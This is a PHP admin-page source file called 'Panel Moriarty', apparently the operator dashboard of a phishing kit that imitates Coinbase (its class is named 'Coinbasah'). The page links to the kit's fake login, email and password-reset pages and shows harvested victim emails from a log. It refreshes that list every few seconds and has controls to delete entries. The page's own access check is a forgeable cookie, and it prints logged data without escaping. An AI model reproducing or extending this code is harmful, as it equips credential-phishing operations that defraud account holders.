<?php
error_reporting(E_ALL);
session_start();
require_once('../function/settings.php');
$conn = new Coinbasah();
if(empty($_COOKIE['panel']) || $_COOKIE['panel'] !== 'true'){
    header("Location: ../xyz");
    exit;
}

// Read the JSON data from file
$json_data = file_get_contents('../function/config.json');
$data = json_decode($json_data, true);
$path = 'https://' . $_SERVER['SERVER_NAME'] . '/xyz/';
$web = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$pages = explode("/", $web);

if(isset($_POST['logout'])){
    setcookie('panel', '', time() - 3600, "/"); // Expire the cookie by setting it in the past
    header("Location: ?Logout");
    exit;
}


if (isset($_POST['Status'])) {
    $conn->callBack();
}

if (isset($_POST['deleteuser'])) {
    $conn->deleteEmailEntry();
}

if (isset($_POST['clear_log'])) {
    $conn->CleanAllListmark();
}
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <!--  Title -->
    <title>Panel Moriarty</title>
    <!--  Required Meta Tag -->
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <meta name="handheldfriendly" content="true" />
    <meta name="MobileOptimized" content="width" />
    <meta name="description" content="Mordenize" />
    <meta name="author" content="" />
    <meta name="keywords" content="Mordenize" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <!--  Favicon -->
    <link rel="shortcut icon" type="image/png" href="../assets/images/title.png" />
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"/>
    <link rel="stylesheet" href="../assets/css/flag-icon.min.css"/>

    <!-- Core Css -->
    <link id="themeColors" rel="stylesheet" href="../assets/css/style.min.css" />
    <style>
        .btn-block {
            display: block;
            width: 100%;
        }
    </style>
</head>

<body>
    <div class="preloader">
        <img src="../assets/images/title.png" alt="loader" class="lds-ripple img-fluid" />
    </div>
    
    <div class="page-wrapper" id="main-wrapper" data-theme="blue_theme" data-layout="vertical" data-sidebartype="full" data-sidebar-position="fixed" data-header-position="fixed">
        <aside class="left-sidebar">
            <div>
                <div class="brand-logo d-flex align-items-center justify-content-between">
                    <a href="<?= $path; ?>dashboard" class="text-nowrap logo-img">
                        <div class="light-logo container">
                            <h3 class="text-white text-uppercase">Moriarty</h3>
                        </div>
                        <div class="dark-logo container">
                            <h3 class="text-dark text-uppercase">Moriarty</h3>
                        </div>
                    </a>
                    <div class="close-btn d-lg-none d-block sidebartoggler cursor-pointer" id="sidebarCollapse">
                        <i class="ti ti-x fs-8"></i>
                    </div>
                </div>
                <nav class="sidebar-nav scroll-sidebar" data-simplebar>
                    <ul id="sidebarnav">
                        <li class="nav-small-cap">
                            <i class="ti ti-dots nav-small-cap-icon fs-4"></i>
                            <span class="hide-menu">Home</span>
                        </li>
                        <li class="sidebar-item">
                            <a class="sidebar-link" href="dashboard" aria-expanded="false">
                                <span>
                                    <i class="ti ti-home"></i>
                                </span>
                                <span class="hide-menu">Home</span>
                            </a>
                        </li>
                        <li class="sidebar-item">
                            <a class="sidebar-link" href="users" aria-expanded="false">
                                <span>
                                <i class="ti ti-users"></i>
                                </span>
                                <span class="hide-menu">Users</span>
                            </a>
                        </li>
                        <li class="sidebar-item">
                            <a class="sidebar-link" target="_blank" href="https://<?= $_SERVER['HTTP_HOST']; ?>/?<?= $data['parameter']; ?>" aria-expanded="false">
                                <span>
                                    <i class="ti ti-link"></i>
                                </span>
                                <span class="hide-menu">Visit Login</span>
                            </a>
                        </li>
                        <li class="sidebar-item">
                            <a class="sidebar-link" target="_blank" href="https://<?= $_SERVER['HTTP_HOST']; ?>/?code=contoh@gmail.com" aria-expanded="false">
                                <span>
                                    <i class="ti ti-link"></i>
                                </span>
                                <span class="hide-menu">Visit Email</span>
                            </a>
                        </li>
                        <li class="sidebar-item">
                            <a class="sidebar-link" target="_blank" href="https://<?= $_SERVER['HTTP_HOST']; ?>/?m=contoh@gmail.com" aria-expanded="false">
                                <span>
                                    <i class="ti ti-link"></i>
                                </span>
                                <span class="hide-menu">Forgot Password</span>
                            </a>
                        </li>
                        <li class="sidebar-item">
                            <a class="sidebar-link" href="listmark" aria-expanded="false">
                                <span>
                                <i class="ti ti-bookmark"></i>
                                </span>
                                <span class="hide-menu">List Mark</span>
                            </a>
                        </li>
                        <li class="nav-small-cap">
                            <i class="ti ti-dots nav-small-cap-icon fs-4"></i>
                            <span class="hide-menu">Settings</span>
                        </li>
                        <li class="sidebar-item">
                            <a class="sidebar-link" href="settings" aria-expanded="false">
                                <span>
                                    <i class="ti ti-settings"></i>
                                </span>
                                <span class="hide-menu">Settings</span>
                            </a>
                        </li>
                    </ul>
                </nav>
                <div class="fixed-profile p-3 bg-light-secondary rounded sidebar-ad mt-3">
                    <div class="hstack gap-3">
                        <div class="john-img">
                            <img src="../assets/images/users.jpg" class="rounded-circle" width="40" height="40" alt="" />
                        </div>
                        <div class="john-title">
                            <h6 class="mb-0 fs-4 fw-semibold">ADMIN</h6>
                            <span class="fs-2 text-dark">Moriarty</span>
                        </div>
                        <form method="post">
                            <button class="border-0 bg-transparent text-primary ms-auto" tabindex="0" type="submit" name="logout" aria-label="logout" data-bs-toggle="tooltip" data-bs-placement="top" data-bs-title="logout">
                                <i class="ti ti-power fs-6"></i>
                            </button>
                        </form>
                    </div>
                </div>
            </div>
        </aside>
        <div class="body-wrapper">
            <header class="app-header">
                <nav class="navbar navbar-expand-lg navbar-light">
                    <ul class="navbar-nav">
                        <li class="nav-item">
                            <a class="nav-link sidebartoggler nav-icon-hover ms-n3" id="headerCollapse" href="javascript:void(0)">
                                <i class="ti ti-menu-2"></i>
                            </a>
                        </li>
                    </ul>
                </nav>
            </header>
            <div class="container-fluid">
                <?php 
                    if (isset($_SESSION['cleanlog'])) {
                        // For example, display it in an alert
                        if ($_SESSION['cleanlog'] === 'success') {
                            echo '<div class="alert alert-success alert-dismissible bg-success text-white border-0 fade show" role="alert">
                            <button type="button" class="btn-close btn-close-white" data-bs-dismiss="alert" aria-label="Close"></button>
                            <strong>Success - </strong>log successfully deleted</div>';
                        }else{
                            echo '<div class="alert alert-success alert-dismissible bg-success text-white border-0 fade show" role="alert">
                            <button type="button" class="btn-close btn-close-white" data-bs-dismiss="alert" aria-label="Close"></button>
                            <strong>Failed - </strong>log failed to delete</div>';
                        }
                        // Clear the session variable after use
                        unset($_SESSION['cleanlog']);
                    }elseif(isset($_SESSION['panelsettings'])){
                        // For example, display it in an alert
                        if ($_SESSION['panelsettings'] === 'success') {
                            echo '<div class="alert alert-success alert-dismissible bg-success text-white border-0 fade show" role="alert">
                            <button type="button" class="btn-close btn-close-white" data-bs-dismiss="alert" aria-label="Close"></button>
                            <strong>Success - </strong>panel successfully update</div>';
                        }else{
                            echo '<div class="alert alert-success alert-dismissible bg-success text-white border-0 fade show" role="alert">
                            <button type="button" class="btn-close btn-close-white" data-bs-dismiss="alert" aria-label="Close"></button>
                            <strong>Failed - </strong>log failed to delete</div>';
                        }

                        unset($_SESSION['panelsettings']);
                    }elseif(isset($_SESSION['userStatus'])){
                        // For example, display it in an alert
                        if ($_SESSION['userStatus'] === 'success') {
                            echo '<div class="alert alert-success alert-dismissible bg-success text-white border-0 fade show" role="alert">
                            <button type="button" class="btn-close btn-close-white" data-bs-dismiss="alert" aria-label="Close"></button>
                            <strong>Success - </strong>'.$_SESSION['Usermessage'].'</div>';
                        }else{
                            echo '<div class="alert alert-success alert-dismissible bg-success text-white border-0 fade show" role="alert">
                            <button type="button" class="btn-close btn-close-white" data-bs-dismiss="alert" aria-label="Close"></button>
                            <strong>Failed - </strong>'.$_SESSION['Usermessage'].'</div>';
                        }

                        unset($_SESSION['userStatus']);
                        unset($_SESSION['Usermessage']);
                    }
                ?>
                <div class="row">
                    <div class="col-lg-12 d-flex align-items-strech">
                        <div class="card w-100">
                            <div class="card-body">
                                <div class="d-sm-flex d-block align-items-center justify-content-between mb-7">
                                    <div class="mb-3 mb-sm-0">
                                        <h5 class="card-title fw-semibold"><i class="ti ti-history"></i> Users</h5>
                                    </div>
                                    <div>
                                        <form method="POST">
                                            <button type="submit" class="btn btn-danger" name="clear_log"><i class="ti ti-trash"></i> Clear Users</button>
                                        </form>
                                    </div>
                                </div>
                                <div class="table-responsive" style="overflow-x: auto;">
                                <table class="table align-middle text-nowrap mb-0" id="logTable">
                                    <thead>
                                        <tr class="text-muted fw-semibold">
                                            <th scope="col" class="ps-0 text-center">#</th>
                                            <th scope="col"><i class="ti ti-address-book"></i></th>
                                            <th scope="col" class="text-center"><i class="ti ti-flag"></i></th>
                                            <th scope="col" class="text-center"><i class="ti ti-radioactive-filled"></i></th>
                                        </tr>
                                    </thead>
                                    <tbody class="border-top" id="logTableBody">
                                    <?php
                                    // Define the path to the log file
                                    $log_file = '../log/markemail.log';
                                    
                                    if (file_exists($log_file)) {
                                        // Get the last 10 log entries
                                        $log_entries = file($log_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
                                        
                                        // Get the last 10 log entries
                                        $last_10_entries = array_slice(array_reverse($log_entries), 0, 10);
                                        $unique_ips = [];
                                    
                                        // Initialize the counter
                                        $counter = 1;
                                        
                                        // Iterate over each log entry
                                        foreach ($last_10_entries as $log_entry) {
                                            $log_parts = explode('|', $log_entry);
                                            // Extract relevant information
                                            $Email = $log_parts[0] ?? 'N/A';
                                            $Judul = $log_parts[1] ?? 'N/A';

                                            // Determine country flag
                                            $countryFlag = 'N/A';
                                            if (!empty($country)) {
                                                $countryFlag = "<div class='shadow bg-light rounded'><span class='flag-icon flag-icon-" . strtolower(htmlspecialchars($country)) . "'></span></div>";
                                            }
                                            
                                            // Display the log entry in a table row
                                            echo "<tr>
                                                <td class='ps-0 text-center'>$counter</td>
                                                <td class='ps-0'>$Email</td>
                                                <td class='text-center' style='width: 60px;'>$Judul</td>
                                                <td class='text-center'>
                                                    <form method='post' style='display:inline;'>
                                                        <input type='hidden' name='delete_email' value='$Email'>
                                                        <button type='submit' class='btn btn-danger' name='deleteuser'><i class='ti ti-flame'></i> Delete</button>
                                                    </form>
                                                </td>
                                            </tr>";
                                            
                                            $counter++;
                                        }
                                    } else {
                                        // Handle the error if the log file does not exist
                                        echo "<tr><td colspan='7'>Log file not found.</td></tr>";
                                    }
                                    ?>
                                    </tbody>
                                </table>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <button class="btn btn-primary p-3 rounded-circle d-flex align-items-center justify-content-center customizer-btn" type="button" data-bs-toggle="offcanvas" data-bs-target="#offcanvasExample" aria-controls="offcanvasExample">
            <i class="ti ti-settings fs-7" data-bs-toggle="tooltip" data-bs-placement="top" data-bs-title="Settings"></i>
        </button>
        <div class="offcanvas offcanvas-end customizer" tabindex="-1" id="offcanvasExample" aria-labelledby="offcanvasExampleLabel" data-simplebar="">
            <div class="d-flex align-items-center justify-content-between p-3 border-bottom">
                <h4 class="offcanvas-title fw-semibold" id="offcanvasExampleLabel">
                    Settings
                </h4>
                <button type="button" class="btn-close" data-bs-dismiss="offcanvas" aria-label="Close"></button>
            </div>
            <div class="offcanvas-body p-4">
                <div class="theme-option pb-4">
                    <h6 class="fw-semibold fs-4 mb-1">Theme Option</h6>
                    <div class="d-flex align-items-center gap-3 my-3">
                        <a href="javascript:void(0)" onclick="toggleTheme('../assets/css/style.min.css')" class="rounded-2 p-9 customizer-box hover-img d-flex align-items-center gap-2 light-theme text-dark">
                            <i class="ti ti-brightness-up fs-7 text-primary"></i>
                            <span class="text-dark">Light</span>
                        </a>
                        <a href="javascript:void(0)" onclick="toggleTheme('../assets/css/style-dark.min.css')" class="rounded-2 p-9 customizer-box hover-img d-flex align-items-center gap-2 dark-theme text-dark">
                            <i class="ti ti-moon fs-7"></i>
                            <span class="text-dark">Dark</span>
                        </a>
                    </div>
                </div>
            </div>
        </div>
        <script>
        function fetchNewEntries() {
            fetch('../pane/fetch_listmark.php')
                .then(response => response.json())
                .then(data => {
                    const tbody = document.getElementById('logTableBody');
                    tbody.innerHTML = '';
                    let counter = 1;
                    data.forEach(entry => {
                        const row = document.createElement('tr');
                        row.innerHTML = `
                            <td class='ps-0 text-center'>${counter}</td>
                            <td class='ps-0'>${entry.Email}</td>
                            <td class='text-center' style='width: 60px;'>${entry.Judul}</td>
                            <td class='text-center'>
                                <form method='post' style='display:inline;'>
                                    <input type='hidden' name='delete_email' value='${entry.Email}'>
                                    <button type='submit' class='btn btn-danger' name='deleteuser'><i class='ti ti-flame'></i> Delete</button>
                                </form>
                            </td>
                        `;
                        tbody.appendChild(row);
                        counter++;
                    });
                })
                .catch(error => {
                    console.error('Error fetching new entries:', error);
                });
        }

        // Fetch new entries every 5 seconds
        setInterval(fetchNewEntries, 3000);
        </script>
        <script src="../assets/js/jquery.min.js"></script>
        <script src="../assets/js/bootstrap.bundle.min.js"></script>
        <script src="../assets/js/custom.js"></script>
        <script src="../assets/js/app.min.js"></script>
        <script src="../assets/js/app.init.js"></script>
</body>

</html>
